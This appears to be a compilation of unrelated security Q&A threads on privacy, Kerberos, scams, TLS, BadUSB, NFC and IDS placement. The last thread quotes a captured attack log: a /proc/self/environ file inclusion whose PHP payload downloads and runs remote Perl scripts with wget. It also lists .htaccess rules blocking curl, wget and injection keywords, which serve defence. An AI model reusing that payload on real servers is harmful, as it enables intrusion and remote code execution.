When do honest people need privacy or anonymity? (e.g. they have nothing to hide) I'm having a discussion with someone who thinks they don't need technical measures of privacy or anonymity.

Common arguments against needing to care about privacy or anonymity include:

Everything about them can be Googled or searched from public records
Their personal information is already out there from companies who have been exploited
Credit card insurance protects them from fraud
There is no value in trying to protect future communications (data is already out there)
They don't consider themselves a valuable target
They feel the technical expertise is beyond their reach, and therefore don't try
Anonymity is only needed for dark web, or criminal efforts
They have nothing inflammatory, or of potential conflict to say
...?

My intent is to gather a finite list of occasions when either privacy or anonymity is needed for a typical end user in the UK or US.  I will use these scenarios with the common actors, Alice, Bob and Mallory.

Here are some possible answers for this question:

  Scenarios for anonymity

  Voting (why, to prevent provable coercion of votes, or retaliation from opposers)
  Anonymous donors (to charity or political organization )
  The witness protection program is a way of creating a new living persona (almost akin to creating a new email account or Twitter handle)

  Scenarios for privacy

  GPS coordinates of your phone should not be exposed to stalkers or thieves who want to rob you
  Conversations with a friend who is doing drugs illegally, should not notify law enforcement
  Google searches, chats and phone calls to suicide prevention, disease, or drug hotlines for someone else
  Conversations about sexual and reproductive health (Planned Parenthood)
  Prevent against the intentional, or unintentional misunderstanding of an email, SMS, or other communication, resulting in legal/police
  action
  An accidental violation of an NDA resulting in the victim getting terminated
  Sometimes laws must be broken for society to progress
  The government may accidentally put someone on a Watch List, making travel more difficult
  Anytime someone entrusts them with a secret, they need privacy to protect that.  Someone with nothing to hide does not protect or guard that secret.

  Scenarios for privacy and anonymity

  Because the government gets to define what's wrong, and they keep changing the definition.  Take Coca Cola for example.
  The scope and reach of the military industrial complex is a relatively new addition to the American freedom experiment. (source Eisenhower farewell speech).  This is an open ended, undefined threat I can't articulate.

As you can see "anonymity" is harder for me to articulate than simple privacy.  Focus and assistance here is appreciated, but interesting privacy scenarios would be useful as well.

I am interested in scenarios targeting an end user (non technical) located in the US or UK.

Question

What are some more scenarios where someone else will do something illegal resulting in a victim getting punished for someone else's crime?
Or, for people who think that anonymity is only for criminals, when would anonymity-protecting tools would reduce risk?

This Bruce Schneier article lightly touches on how trust (that the message will not be taken out of context) can change the content of what's being said.  For example, someone listening in on a phone call, even if was a momentary / false suspicion, might change the tone and word choice being used.  This makes me think that there is a  psychological need for privacy and anonymity.

Documents from psychological studies might provide more when examples.  (I'm more interested in the example than the study)

There's a great short essay written by Bruce Schneier on the right of privacy:

  The most common retort against privacy advocates -- by those in favor
  of ID checks, cameras, databases, data mining and other wholesale
  surveillance measures -- is this line: "If you aren't doing anything
  wrong, what do you have to hide?"

  Some clever answers: "If I'm not doing anything wrong, then you have
  no cause to watch me." "Because the government gets to define what's
  wrong, and they keep changing the definition." "Because you might do
  something wrong with my information." My problem with quips like these
  -- as right as they are -- is that they accept the premise that privacy is about hiding a wrong. It's not. Privacy is an inherent
  human right, and a requirement for maintaining the human condition
  with dignity and respect.

You can read it in full here: https://www.schneier.com/essays/archives/2006/05/the_eternal_value_of.html


Can I pass a cryptographic hash of a user's password to Kerberos while creating principals? I am running MIT Kerberos V and I would like to automate the creation of principals. The page here
explains how to do this by providing principal names and passwords on the command line like so:

awk '{ print "ank +needchange -pw", $2, $1 }' < /tmp/princnames |
    time /usr/sbin/kadmin.local> /dev/null

Where ank is a synonym for add_principal (per kadmin(5)) and it is assumed that /tmp/princnames is of the form:

principal1 password1
principal2 password2
...

The obvious drawback of this is that each principal's password must be supplied in the clear. Is there any way I can pass a crypto hash instead?

This is for two reasons:

Security, obviously.
I'm migrating from an old system and would like my users to be able to authenticate with their old passwords so I would like to pass their hashed passwords from the shadow file to Kerberos.

You cannot use a hash of the user’s password; you need the password itself. Kerberos is a shared-secret system: the Kerberos authentication servers (key distribution centers, or KDCs) share a secret with each principal in the system: for a user, that is a set of keys derived from the password.


Where can I download vulnerable Windows OS images to practice penetration testing? My objective is to learn and practice all the vulnerabilities and their exploitation on vulnerable OS.

Check out NIST's FDCC (Federal Desktop Core Configuration). They offer Windows XP and Vista downloads.
http://nvd.nist.gov/fdcc/download_fdcc.cfm [mod note: link is dead]


Liliane Bettencourt scam? I got a text message from an Elizabeth.Zamora@Bridgeportct.gov

sub; RE: donations!!!
"donation was made to you by Mrs. Liliane Betterncourtm, contact her at:  lilianebettencour@163.com" for more info.

when I made contact I got an email saying she had gotten my number from a web journal and felt strongly to write to me, and so on.  I printed out all the emails back and forth.  I got the wikipedia.org link and a picture of her. She said she had 'Dementia' and did not have a lot of time as the doctors where ordered to take away all electronic equipment.  I got a Right to claim form and a power of attorney letter from a law firm. I checked out the bank, which does exist, but I don't know about the contact person. The phone number given is an electronic voice message. I was almost ready to open an offshore account for $2000, as advise by the Credit Foncier but I decided to investigate and found the scam when I put her name in google. It seemed so real, I'm glad I didn't do it. I did send personal information before I realized it may be a scam. So they have my driver's license# and my passport#.
What can I do now to protect myself from identity theft?

This sounds like a typical scam, the tip-offs are:

A message from a complete stranger claiming that they will give you money.
Creating a sense of urgency to push you to do things quickly and not think them through. ("...and did not have a lot of time as the doctors where ordered to take away all electronic equipment.")

I'm not sure what you can do to protect yourself from identity theft, except for watch you accounts extra-carefully for suspicious activity, and report anything that you notice.

For any North Americans that read this thread: the Better Business Bureau has launched an online Scam Tracker tool where you can search keywords to see if other people have reported the same scam.


Opening browser with already authenticated user in other app Scenario: I'm logged in some (java - swing) application. The authentication is typical: login and password checked by server (J2EE) on client application start, after that normal work in app including many requests/responses:

Client <------------------> Server1

Now, I want to do something like this: user clicks on some button in application and after that, the app opens default internet browser with some url pointing to other www server (Server2) but with "user context/session" for futher processing (sending request to Server1), like this:

Client -----> Browser -----> Server2 -----> Server1

The page should "catch" present client user session ID (kind of single sign-on).
As far as I know, it's not able to start browser with created cookie "just before start", so idea is:

Opening browser with /Server2ServiceUrl/JSESSIONID.
Browser goes to Server2ServiceUrl.
The user is doing some operations on page (filling form) and clicking for example "save button" on this page.
The result is requested to Server2.
Server2 creates session cookie (JSESSIONID) based on JSESSIONID in its initial url and sends request to Server1 with session cookie (in "Cookie" HTTP Header) so Server1 knows what user sends request.

Of course it is far away to be secure. One of the big issues is session ID visible all the time in browser address bar.
One of ideas to increase security a little bit is:

Browser goes to Server2Url, but not to the service, only to some url which:

will create browser session cookie based on JSESSIONID in initial url
will send redirect command to browser.

Browser create session cookie and redirects to service (Server2ServiceUrl). Because of that the session ID will be visible in browser address bar only till redirect.

But still I feel that this concept should be more secure.
What should I do then? Maybe is some standard technique to solve this problem?

As soon as the user clicks the button, create a long random single-use token and send it to the server (something like yourdomain.com/setsession?session=SESSIONID&single-use-token=TOKENID. This token will be used later to retrieve the session id.

After that, the application start a very simple HTTP server, and serve its own HTML page to the default browser. This page will redirect to yourdomain.com/getsession?token=single-use-id, which in turn will open the desired page and set the session cookie.

The getsession component will do a lookup for the token, and if it comes from the same IP as the setsession, it will delete the token, and send the session cookies to the browser.

With self-destruct tokens, you don't have to worry about replay attacks and token reuse, even if someone sees the token.


Is it safe to log into my bank website over a public wifi? Is it safe to log into my bank website over a public wifi (like a coffee shop)?

I realize that the connection between the browser and bank servers should be encrypted, however I'm wondering if there are any other "gotchas"?

If your bank Web site uses HTTPS, and you dutifully check that the server name in the URL is indeed the expected name, and you don't disregard warnings about unverified or expired certificates, then yes, it is safe.

If these conditions are not met, then no, it is not safe -- but it would not be safe from anywhere else either. Public WiFi is not special in that matter.

What may make public WiFi especially unsafe is that public WiFi occurs in public areas. Public areas are full of strangers. When you enter your bank password, you don't want weird people to spy on your keyboard or tablet screen. That kind of physical security is quite harder to achieve in a park or a restaurant, than in the privacy of your home.


Login system using tokens for authentication I'm creating a login system for a website I'm building. Here's how I'm doing it currently.

Use HTTPS throughout
Encrypt passwords using PHP's password_hash() function.
Generate a new token and delete the old one on every new login.
Login user using a cookie, storing the users token
Check cookie on each page load against a SHA1 hashed version of the token stored in the cookie.
If the token is deleted from the database the user is logged out.

Is this secure? Is there anything else I should be doing?

Lets assume you are generating the token with enough entropy, and you do not use the default rand(). Lets also assume you run PHP 5.5.0 or above which supports bcrypt(), then kudos there.

It is completely unclear to me what the SHA1 is supposed to do, or protect against. It will not provide security or confidentially because anyone could hash the token with SHA1. To some extend it validates integrity, but for what? Storing the token in the database without any obfuscation does the exact same thing.

If your tokens are valid for a longer period of time, say longer than a few hours, I would suggest:

Use refresh tokens, so you can revoke tokens from clients much faster.
Sign the tokens upon creation and validate the signature on each request. This will confirm integrity and authenticity.

As a last tip, do never assume SSL/TLS is the holy grail, but use defense in depth.


Is there a stream cipher equivalent when using RSA key pairs? From what I can gather, when encrypting with RSA key pairs, you cannot encrypt more data than the length of the key (at least I can't find the implementation in the libraries I'm using).  So then, in order to encrypt larger amounts of data, you need to break it into chunks and encrypt the individual chunks. Please let me know if I'm incorrect about this assumption.

If the above assumption is true, I see this as similar to encrypting data with AES using ECB mode.  This is obviously a bad idea as indicated by the following famous image:

Are there implementations of stream cipher or block-chaining like equivalents when using RSA key pair encryption which provides the expected level of pseudo-randomness over the entire data being encrypted?

Please feel free to comment on any assumptions I have made that may be incorrect.

First of all, basically nobody encrypts messages directly with asymmetric primitives.  Instead, in practice asymmetric cryptography is used for key encapsulation or for key exchange.

But to answer your question, the standard RSA-only encryption algorithm is RSA-OAEP, which involves randomizing the encryption (the values r and Y in the explanation in that page).  So encrypting the same input block twice does not produce the same output, which avoids the ECB problem.


What are the technical specifications for the Apple iPhone 7 fingerprint reader? I'm looking for technical material that describes the quality of the iPhone 7 fingerprint reader, and ideally previous models as well.

My hope, is that the specification is more in alignment with NIST/FBI requirements.

I think that you are being unrealistic in your expectations I'm afraid.

Firstly, I don't think Apple release any detailed technical/security specifications for any of their Touch ID releases.

Secondly, there are no mobiles at all in the FIPS database and it is unlikely that any could be realistically manufactured to FIPS 201 and remain competitively priced.

Thirdly, Apple themselves don't really pass off Touch ID as a high-security feature. From their latest iOS Security spec: "Other features, such as
Touch ID, enhance the user experience by making it simpler and more intuitive to secure the device". In other words, Touch ID is a convenience to the user which may make it more likely that users will use some security.

If you need FIPS 201, use a properly secured external device.

The ease of capture of a persons fingerprints and the inability to change them if compromised (!) should tell you everything you need to understand about using fingerprints in high-security situations. Don't. Use them to make life easier for users as one factor where appropriate.


Are there any security related rules in PCI-DSS that govern when I can capture a payment? Is there a PCI-DSS rule that a merchant cannot capture the funds for an order until we have actually shipped it?

I can't seem to find an official reference that describes this as a PCI DSS requirement.  Is it one?  If so, where can I find it?

The matters of payment capture and shipping aren't covered or related to PCI DSS.


certificate about to expire, CSR needed? Say, I create a CSR with OpenSSL and send it to a Root CA  for signing. Let's assume that the certificate was issued for 2 years. Two years are almost over and the certificate is about to expire. Do I have to still have to original CSR to extend it, or how is it handled ? Or will I get a new certificate after this 2 years?

Your CSR is essentially a wrapper for your public key, along with some identifying information (domain, organization name, locale, region, country etc.) and a digital signature (using your private key, verifiable using the public key that it contains)

The Root CA you're using for signing will determine how many of these fields are really necessary; at a bare minimum a CA will only pull the public key from your CSR, so the answer really comes down to checking with your CA what they need. Most CAs I know of will support a certificate 'renewal' (generating a new certificate that is nearly identical to the existing one, but with a new validity period) from the original CSR. They will also typically allow you to optionally provide a new CSR to change the public key, and either enforce that the other information is the same or simply ignore any differing information in the new CSR.

As an example, Entrust Datacard's retail certificate purchasing wizard pulls the domain, public key, and any Subject Alternative Names from the CSR and discards everything else. The Organization information fields and certificate validity period are populated through their UI.


Can we identify if someone is keeping an eye on our computer usage? For some reason I had been using public network for a small time, and I suspect that someone was actually watching/recording my online/offline activities.
At some time I suspected that someone was accessing my system (like cursor and other controls behaving weird as if someone else was controlling them, screen slightly blinking, etc).

Is there any way that we can find if someone is intruding on our system, or later search for any unethical access to the system?

It depends on what exactly you were using.

Direct inspection

computer: if you're using a public (library, etc.) computer, you can check its usage history - browser history, and so on. Keep in mind that most such systems ought to use, and often do use, virtual/sandbox systems such as SteadyState, that erase all traces after you log out. So eye-keeping at the computer level might be impossible to detect. Even more so if the data is sent and used elsewhere (e.g. keylogging, screen capturers etc.). You may detect the presence of such software, though.
network: you can do zip, unless you have access to the management interface and/or hardware. Your access point might be cloning all your traffic for subsequent exploitation, and you wouldn't be aware of that (which is also a very good reason never to use "open" wifi networks more or less willingly supplied by more or less known parties).
facilities: very much like the network. You ought to have access to camera logs and the like; nobody would ever let you.

Indirect methods

Check out access patterns and access times to whatever services you're using. For example, GMail records the IP address of your last visit(s) to their systems.

Good practices

If you really had to use an insecure path, change your relevant passwords and every access code that may have been rendered insecure, as soon as you can. If you keep passwords and license codes on a cloud account, use two accounts with different passwords. That way the "password account" will only be made insecure if you actually have to use it, not just if you happen to be checking your email for other reasons.

(For holidays, etc., you might set up a "throwaway" write-only account: when going on holiday you can set up a forwarder from the real account to the throw-away one; when coming back, you can instruct the real account to also read any incoming from the expendable account (be careful not to set up a loop...!). That way, people sending you email on the throw-away account would still get read; at the same time, the expendable account has nothing worthwhile on it).

Social engineering

You could try and lay some bait. For example say that I have a web site of my own, whose access logs I control and can check. Then I happen to use a network where someone could be eavesdropping.

I could send an email to a nonexistent account, or an account that's mine only but not immediately recognizable as mine:

John,
this is the documentation we talked about. The zip file is encrypted
and the password is 'shish-kebab'. Man, this is HOT. Keep it for yourself,
one could make real money here.
http://myownwebsite.com/for-john-material.zip

...ordinarily, nothing would happen. The email will never arrive, and if it did, I'm the only one who would read it, and I would do nothing. The zip is not even there - it never was: it never even existed.

So if I found a 404 error in my Web logs, stating that someone tried to access a file whose name ought to be known to no one, then this would tell me that someone snooped my email -- and would also tell me his IP address, time of day, maybe his browser User-Agent (supposing I could trust it) etc. .

(I could even set up a page designed to send me a warning in real time).

The same thing can be done on a computer, if you know you should be the only one having access to any given section of it: set up a document there, remember never to open it, and check out its last access time. Also, you can usually check event logs and access information (if and how depends on your operating system, though).

Screen activity grabbing

An easy way that is usually enough to spot screen grabbing consists in looking up the network properties, and specifically the network traffic counter. In a pinch, look at the network activity LED which is usually near the plug. Screen grabbers work in one of two ways: either they photograph the screen at fixed intervals (difficult to spot, since it's not under your control) or, to save bandwidth, they do so whenever the screen changes, and often only transmit the changed areas.

So if you open the Network Properties, you'll see that the traffic counter is steadily going up in fits and starts (Windows Update, BITS and various services are always running), usually not very fast. If you were to shuffle icons around, this should have no effect on the network (unless you operated on a network folder), normally; but if the screen is being grabbed, your moving an icon or resizing a window would trigger a screen update, and you'd see the network traffic going up in sync with your actions.


Why do sandboxing environments not rely on antivirus programs? Since years ago, miscreants use JavaScript to craft web malware attacks such as drive-by download attack that is used for example to install the famous CoolWebSearch virus.
There are static methods that analyze the text of web pages and teach a learning machine to inform a classifier how to detect web malware based on signatures. This approach is not good because it is useless against obfuscated JavaScript code and zero-day attacks.
Other solutions exist and are based on the analysis of the dynamic behaviors of JavaScript using sandboxing environments or by setting a proxy (in both cases the page is not rendered for the user before its dynamic analysis).
My question: Why do sandboxing environments used to supervise JavaScript malware not rely on an anti-virus program and prefer to use programs coded to scan the state of the machine (virtual machine) in which they run? (Antiviruses programs also use dynamix analysis)

The problem is largely in the effectiveness of the dynamic analysis. How do you define malware? What does malware always do that normal programs never do? (Hint: there is no answer to this question)

Well-written malware can look innocent and perfectly legitimate programs can look dangerous.

Here's a simple example: the malware might try to join your computer to a botnet. So the dynamic analysis is looking for new outgoing connections? Well what if it's time-delayed? You won't catch that and you'll still serve it up to the user. So you look for code that will initiate a connection? What if it's a legitimate app that initiates connections to a server?

For almost any example, you can come up with either a way to circumvent detection, or a legitimate use case that would be blocked.

It's more effective to sandbox - to restrict the permissions of components that are likely to be compromised. For instance, don't allow your browser tabs (which are separate processes in something like chrome) to have filesystem access. Even if a tab-process gets compromised, it can't write malicious files to your disk (without prompting you for permissions)


Site use weak cipher and TLS older version I just tested a site and it looks like the certificate uses weak ciphers but the certificate is new.
Can this issue be related to the Certification Authority that provides the certificate?
Or this issue is related to the possibility of older browser usage?
As you can see in the attached picture the test also found TLS versions above 1.2.
Are these implementations related to the accessibility for older browser versions?

Can this issue be related to the Certification Authority that provides the certificate?

No, the Certificate Authority has nothing to do with the ciphers supported by the server. The server supports a cert of ciphers according to its capabilities and configuration.

Or this issue is related to the possibility of older browser usage?

Older browsers don't support newer ciphers. The question is, do you want to jeopardize the security of all your users just to support people who still run Internet Explorer 8, which has been End-of-Life since Mid-2018.
What to do now?

Remove Support for SSLv3, TLS 1.0 and TLS 1.1.
Configure TLS 1.2 to only support strong ciphers, which provide Forward Secrecy

SOGIS recommends only using the following ciphersuites (see Chapter 6.1):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CCM
TLS_ECDHE_ECDSA_WITH_AES_128_CCM


Which browsers are using openssl It is asked in stackoverflow, but I suppose maybe it is more suitable to ask here.

It is said that openssl are widely used, however, as far as I know, the most popular browsers seem not use openssl, instead, they use other SSL libraries like:

NSS (for all firefox and chrome in Linux)
SChannel (for browsers in Windows)
Secure Transport (for browsers in Mac OS X).

Am I right? Or is there any concept I'm taking wrong?

Thanks.

The most popular Desktop browsers do not use OpenSSL, but

Google Chrome on Android uses OpenSSL
Google Chrome on other platforms plans to move to OpenSSL too, see https://docs.google.com/document/d/1ML11ZyyMpnAr6clIAwWrXD53pQgNR-DppMYwt9XvE6s/edit?pli=1
At least rekonq and konqueror on Linux/KDE use OpenSSL
SSL support in scripting languages Python, Ruby, Perl and probably others is usually done with OpenSSL. Also, tools like wget and curl are often compiled with OpenSSL (might depend on platform)


Denial of service when uploading a file Is a DOS attack possible when uploading a big file.

Lets say a website has a file upload control, and there is an attempt to upload a file of  1 GB size.

If the connection remains open for a long time, does it mean that system resources are being consumed?
Is it possible to upload a lot of big files that way? or does the process simply "hang"? connection is open, but nothing is being uploaded?

How can you check the size of a file before attempting to upload it?

A single file upload should not effect performance if the server is set up correctly. Generally speaking, download speeds are faster than upload speeds, and this is especially true with home connections. You will much more likely reach your bandwidth cap before the server does, making this a very poor denial of service attack.

Web servers are multi-threaded and will not block new connections because you already have one open. There are some limitations on certain browsers due to the number of worker processes spawned, and the amount of memory these processes use.

If you add more than one client to the equation, it becomes a Distributed DOS and is much more feasible. The idea of uploading content in a DDOS is still inefficient. When DDOSing, you often times look for a force multiplier built into the protocol. This is where you send a small amount of data, and the server sends back a much larger reply. This can be seen with DNS Amplification Attacks, where its possible to reach a 1:70 ratio of client:server data.

All operating systems have methods of determining file size, please refer to the documentation that came with your OS.


Which manufacturers who make BadUSB possible on their drives? So as we all know by know BadUSB is possible on Phison 2251-03 chips. But are there any more reflashable devices in the wild that could be dangerous? And if there are is the firmware easily changed or does it require OEM tools?
I'm asking about this because I have once, when broken my USB stick, stumbled upon a Chinese manufacturer flashing tools and although i couldn't understand how to actually do it I'd guess some people could actually make it work.

There isn't a clear list of what products are vulnerable, as manufacturers will use different chips even in one batch of products. So you'll never know what chip you have until you open the product.

They did however try to map this:

  They found an unpredictable patchwork of results. All of the USB storage controllers from Taiwanese firm Phison that Nohl tested, for instance, were vulnerable to reprogramming. Chips from ASmedia weren’t, Nohl’s tests found. Controller chips from fellow Taiwanese company Genesys that used the USB 2 standard were immune, but ones that used the newer USB 3 standard were susceptible. In other categories of device like USB hubs, keyboards, webcams and mice, the results produced an even messier Excel spreadsheet of “vulnerable,” “secure,” and “inconclusive.”

This list can be found here


Client side password hashing with static salt - did I find a breach? I downloaded a software that has a login interface. It's a $100 a month subscription software.
I disassembled the software and found that passwords are being sent by combining them with a hard coded "salt" that everyone can see in the source code (is it really "salt" if it's the same for everyone?), hashing them with MD5 and sending the hash to the server.
I hope that the passwords are hashed again on the server side with unique salts for every user, but even if they do, isn't this a breach? Can't an attacker sniff the passwords easily, or do a send-the-hash attack?

It depends. There is not enough information in your question to give specific answers, and probably without knowing the server side, it will be hard to evaluate.
Isn't this a breach?
I would not call it a breach just yet, because simply knowing the fact that the client hashes the password does not reveal any sensitive information about this or other accounts.
Can't an attacker sniff the passwords easily, or do a send-the-hash attack?
If an attacker can sniff the communication between the client and the server, it makes no difference, wether the original password is sent or a hash version of it. In both cases, the attacker has the credentials needed. The only thing that could stop them now would be two-factor authentication.
The best thing to do agains sniffing is enforcing HTTPS for the communication.
Is it really "salt" if it's the same for everyone?
No, a salt is some random data that is added to a one way hash function to safeguarde passwords in storage. A salt must be random and be unique for each password and should be long enough to protect agains creating rainbow tables with all possible salt combinations.
It's also not a pepper, because a pepper must be secret.
Why would you hash a password on the client side in the first place?
Hashing a password on the client side before submitting it to the server simply turns the resulting hash into the new password. While it provides no additional security during the authentication process, it protects the user's password in general (especially if they use it elsewhere as well): the clear text password is never transmitted nor processed by the server. If the server (in contrast to the database) is ever compromised, it will be more difficult to extract the original password.
PS: Hashing something with a hash function like md5 or sha is different from encrypting something. Encrypted data can be decrypted, hashed data however can not be restored as a hash is a one-way function.


How should a network be configured for an IDS server? If a linux virtual machine is deployed with snort installed, how does it detect traffic that's going to every other IP on the network?  Does the network switch or vSwitch need to be configured a certain way so the IDS server sees all traffic passing through the network?

You need to select your IDS location based on what you need. If you have a very small network with one switch, then this can be easy, but for a larger network estate there are a few options:

Gateway: have your IDS connected to your perimeter router/firewall so that you can monitor everything coming in and out of your network. This requires a huuuuge amount of tuning, as there is so much automated stuff trying to gain access.
Crown Jewels: locate your IDS on the subnet your key assets are on, this way you only see traffic that has got this far - so tuning out false positives should be much simpler. The downside is that you don't see anything else on the network.
Agents: you can give routers and switches, or even desktops, an agent which feeds into an IDS (often via syslog or other common mechanism) and you can base this on your specific requirements.

Remember the biggest problem with any IDS is keeping it tuned to reject as many false positives as you can while alerting on suspicious traffic - and then having a team respond and assess those alerts. The amount of traffic even on a medium sized network can be incredibly hard to sift through...


Can an open Wi-Fi hotspot be considered "secure" when using a VPN connection? There are many open Wi-Fi hotspots scattered around from cafes to airports.

I understand that a non-passworded Wi-Fi leaves traffic unencrypted and therefore available for hackers to read. I also know about a man-in-the-middle attack where the Wi-Fi hotspot is malicious.

I therefore always use a VPN connection to encrypt my traffic while using open Wi-Fi hotspots to avoid these attacks.

But the article Even with a VPN, open Wi-Fi exposes users states that even with a VPN connection, an open Wi-Fi hotspot is still insecure. It states:

  In this period before your VPN takes over, what might be exposed
  depends on what software you run. Do you use a POP3 or IMAP e-mail
  client? If they check automatically, that traffic is out in the clear
  for all to see, including potentially the login credentials. Other
  programs, like instant messaging client, may try to log on.

But at the same time the article feels like a disguised advert concluding with (what feels like) a sales pitch for something called Passpoint which I have never heard of:

  The Wi-Fi Alliance has had a solution for this problem nearly in place
  for years, called Passpoint.

Can an open Wi-Fi hotspot be considered secure when using a VPN connection or should you NEVER use open hotspots?

This is actually exactly the type of environment VPNs were designed to work in: when you cannot trust the local network.

If set up properly (i.e. making sure all traffic goes through the VPN and using a secure mutual authentication scheme) it will pretty well protect your connection.

This, however, requires the whole thing to be designed properly.

Obviously, your VPN must be set up so that ALL your communication goes through the encrypted channel, not just the part that is aimed at the internal network behind it (which is sometimes the case with corporate firewalls or if you're using SSH).
Avoid using SSL VPN unless you're using a pinned certificate for the server: you'll want to avoid having to perform PKI validation of the server's host name since it can be rather delicate.
Understand the limitation: you will not be able to "mask" the fact that you're using a VPN, you will not mask the volume and pattern of your exchange (which can be to some extent used to identify the type of service you're using) and your connection will ONLY be secure up to the VPN exit point: everything between that point and the destination server will not be protected by the VPN (although it can also be encrypted on its own).
There is no guarantee against a state actor who would be willing to spend dedicated resources to penetrate your security.


if Noscript is secure is that possible our system still compromise by crypto? perhaps all of us use no-Script when we visit untrusted web pages to block all scripts plugins etc. but still there is something beside plain HTML codes that we don't block; SSL connection! in Https protocol any web page can send crypto data to us which is handled by Firefox NSS lib and its almost always based on two thing, AES and RSA. from my opinion Encrypting or Decrypting received data from untrusted site must be safe because crypto libs are not like a flash player that give ability to attacker to make endless possible codes and run.. for example in AES its just processing each byte with a few known cycles to encrypt it or decrypt it and both are almost same and in RSA its just a math function on a number, why should calculating numbers cause a buffer-overflow? the question is :

is that possible make a compromise with AES encryption / decryption ?
is that possible make a compromise with RSA decryption (if attacker know private key or don't know)

Cryptographic algorithms are not interpreters for a Turing-equivalent language. As such, they cannot be meaningfully compared with scripting support, which Noscript deactivates.

Implementations of cryptographic algorithms are rarely afflicted with buffer overflows, but may leak some highly sensitive data (such as cryptographic keys) if inexpertly implemented. A more usual source of vulnerabilities is the handling of X.509 certificates (e.g. see this for OpenSSL), because decoding of certificates can be a daunting task due to its (ab)use of all the intricacies of ASN.1.


Security concerns with malicious NFC tags? I was reading this article from Life Hacker, How to Automate Your Phone for Every Room in the House with NFC Tags. The idea is to place NFC tags around your house, car, etc. so that you phone will automatically do some action when you touch the tag. Clearly, this seems to be a security challenge. In many ways it would be similar to QR code attacks, where you are trusting something with low physical security that as a human you cannot decipher; however, a QR code would require you to actively load a reader and focus on the code, where NFC just need to be nearby with a service running in the background.

I am curious what security concerns come in to play with NFC tags and how to defend against these threats. For example, some tags could be reprogrammed without the user's knowledge or a tag may be cloned. Are there available methods for protecting integrity and confidentiality?

Ruling out things like payments and phone to phone connections, just looking at read-only tags, are there feasible passer-by attacks, and if so, what are some protections measures for users? Could NFC be used to trigger undesired, unplanned, or unauthorized commands on a reader/phone?

Edit: It looks like Wikipedia actually describes some attacks, many of which are familiar for any wireless type of technology (open medium)

There are a few details about how NFC works that you are missing that prevent this from being a serious issue.

First, you can easily configure your device to only process tags with your approval and it is clear what the behavior of the tag is when you are asked for approval (the URL can be displayed for example).

Second, the complex actions that the article is talking about are only possible because the NFC tag stores a unique ID which corresponds to a macro on the phone.  Without the user programing the macro ahead of time, the behaviors would not occur, so it is not a viable means of hacking the phone.

Third, many NFC tags can be rendered read-only.  This prevents re-write and would prevent someone from reprogramming an existing tag in place.  They could still remove the tag completely and add a new one, but doing so in someone's home could be tricky and wouldn't accomplish much for the prior mentioned reasons.

It still would be unwise to setup your phone to automatically go to URLs pulled from NFC without confirmation, but other than that, the amount of damage that can be done by a tag is relatively limited since the capabilities of tags in general is fairly limited.

What isn't covered would be what a maliciously formed content could do as far as unchecked input.  This isn't really much different from any other kind of activity with a phone though.  You still have to be in fairly close proximity and approve the action unless they find an overflow in the actual protocol itself (which would be no different from if they found a similar problem in the wifi stack).


Can the following .htaccess rules prevent this attack? See these related questions from the same user about the same incident first:

How to find and protect against the exploited vulnerability in an PHP application based on the logged URL?

php.ini security setting after attack

I am sorry having a really simple question but I need help ASAP as my website (a php/mysql registering app) has been attacked.
So far this is what happened:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

So I have two setting so fat that I would like to merge or check with this community to see if this would protect me better:
code1
# proc/self/environ blocked this is what attacked your site
RewriteCond %{QUERY_STRING} proc\/self\/environ [OR]
# Block out any script trying to base64_encode stuff to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]

code 2
## Block other useful stuff
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|&#x0A;|&#x0D;).* [NC,OR]

RewriteCond %{HTTP_REFERER} ^(.*)(<|>|‚Äô|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]
RewriteCond %{HTTP_COOKIE} ^.*(<|>|‚Äô|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|‚Äù>|‚Äù<|/|\\\.\.\\).{0,9999}.* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|‚Äô|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC,OR]

#Block MySQL injects
RewriteCond %{QUERY_STRING} ^.*(;|<|>|‚Äô|‚Äù|\)|&#x0A;|&#x0D;|&#x22;|&#x27;|&#x3C;|&#x3E;|&#x00;).*(/\*|union|select|insert|cast|set|declare|drop|u pdate|md5|benchmark).* [NC,OR]

RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(<|>|‚Äô|&#x0A;|&#x0D;|&#x27;|&#x3C;|&#x3E;|&#x00;).* [NC]

# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]

Any help would be appreciated!:)
Update:
I have php.ini setup for register_global and magic_quotes off

You should be fixing the code that causes the problem, rather than throw stuff at it and hope it blocks the malicious stuff. Your .htaccess blocks access to /proc, which is good, but it's not the only thing you want to protect. Blacklisting like this won't get you far, as there are dozens of other directories you want to protect, and which ones those are depends on the server OS and configuration.

